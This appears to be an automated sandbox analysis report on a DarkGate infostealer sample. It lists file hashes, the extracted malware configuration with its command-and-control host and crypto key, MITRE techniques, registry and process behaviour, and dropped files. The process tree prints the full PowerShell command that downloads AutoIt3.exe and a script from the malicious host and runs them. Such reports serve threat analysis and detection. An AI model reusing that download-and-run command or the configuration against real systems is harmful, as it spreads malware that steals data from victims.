darkgate | aff263702a19eb6640636f8c2708147a5ce8a5577d86a57224ddbe0f51c7dafe

General

Target

07112023_2238_app(060e45bf7b57d4).js
Size

252KB
MD5

9edd0adf749c9406b020d9ca613daa62
SHA1

701cc4130fd3b8b17d6692101b7bd80d9a14b68c
SHA256

aff263702a19eb6640636f8c2708147a5ce8a5577d86a57224ddbe0f51c7dafe
SHA512

99df3475b72b2576123a7a46338470346b30e6ac10d9bd8506c6b359de2bf7308d0d85ece3039f3388d6feed7a6e7774eb4300c4ecc4435bf6361e59ab8e52da
SSDEEP

6144:ge7hgXeerjqlI2Iro+ra4xB9ElITe7hgXeerjqlI2Iro+8:gIhgSlI23qa4xB9ElITIhgSlI23V

Score

10^/10

darkgate ads5 stealer

Malware Config

Extracted

Family

darkgate

Botnet

ADS5

C2

http://siliconerumble.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
443
check_disk
false
check_ram
true
check_xeon
true
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
CXKvjwjmjoZnik
internal_mutex
txtMut
minimum_disk
40
minimum_ram
6000
ping_interval
4
rootkit
true
startup_persistence
true
username
ADS5

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	988	powershell.exe
38	988	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4320	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
988	powershell.exe
988	powershell.exe
988	powershell.exe
988	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	988	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4264 wrote to memory of 988	4264	wscript.exe	89
PID 4264 wrote to memory of 988	4264	wscript.exe	89
PID 988 wrote to memory of 4320	988	powershell.exe	97
PID 988 wrote to memory of 4320	988	powershell.exe	97
PID 988 wrote to memory of 4320	988	powershell.exe	97

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_2238_app(060e45bf7b57d4).js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://siliconerumble.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://siliconerumble.com:443/msijhoziucv' -OutFile 'jhoziucv.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'jhoziucv.au3'"; Stop-Process -Name "WScript"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\tepp\AutoIt3.exe
    "C:\tepp\AutoIt3.exe" jhoziucv.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hovk3bdr.rmr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tepp\jhoziucv.au3

Filesize
599KB

MD5
4772a901165d49c57fa3ef6f13917d7d

SHA1
744ecf877c5339a4e95c8fe35cf13c84bce2e800

SHA256
44e466072f23e7936f31eb33b914a433c019ff8519828590a9b3371d3861d34f

SHA512
532c0a1b780f5bc5ee8054e6ee363ffc55e1c5c14c43827a3289498dc982a63c9058b2f14866e4a1b45973500ad280915e0496c6c0545818852fd5daa4e380e3

Download Submit
memory/988-12-0x000002794CC90000-0x000002794CCA0000-memory.dmp

Filesize
64KB

Download
memory/988-11-0x000002794CC90000-0x000002794CCA0000-memory.dmp

Filesize
64KB

Download
memory/988-13-0x000002794CC90000-0x000002794CCA0000-memory.dmp

Filesize
64KB

Download
memory/988-10-0x00007FFB6FC40000-0x00007FFB70701000-memory.dmp

Filesize
10.8MB

Download
memory/988-27-0x00007FFB6FC40000-0x00007FFB70701000-memory.dmp

Filesize
10.8MB

Download
memory/988-5-0x0000027967440000-0x0000027967462000-memory.dmp

Filesize
136KB

Download
memory/4320-30-0x0000000004310000-0x0000000004510000-memory.dmp

Filesize
2.0MB

Download
memory/4320-31-0x0000000004D60000-0x0000000004EF5000-memory.dmp

Filesize
1.6MB

Download
memory/4320-32-0x0000000004D60000-0x0000000004EF5000-memory.dmp

Filesize
1.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads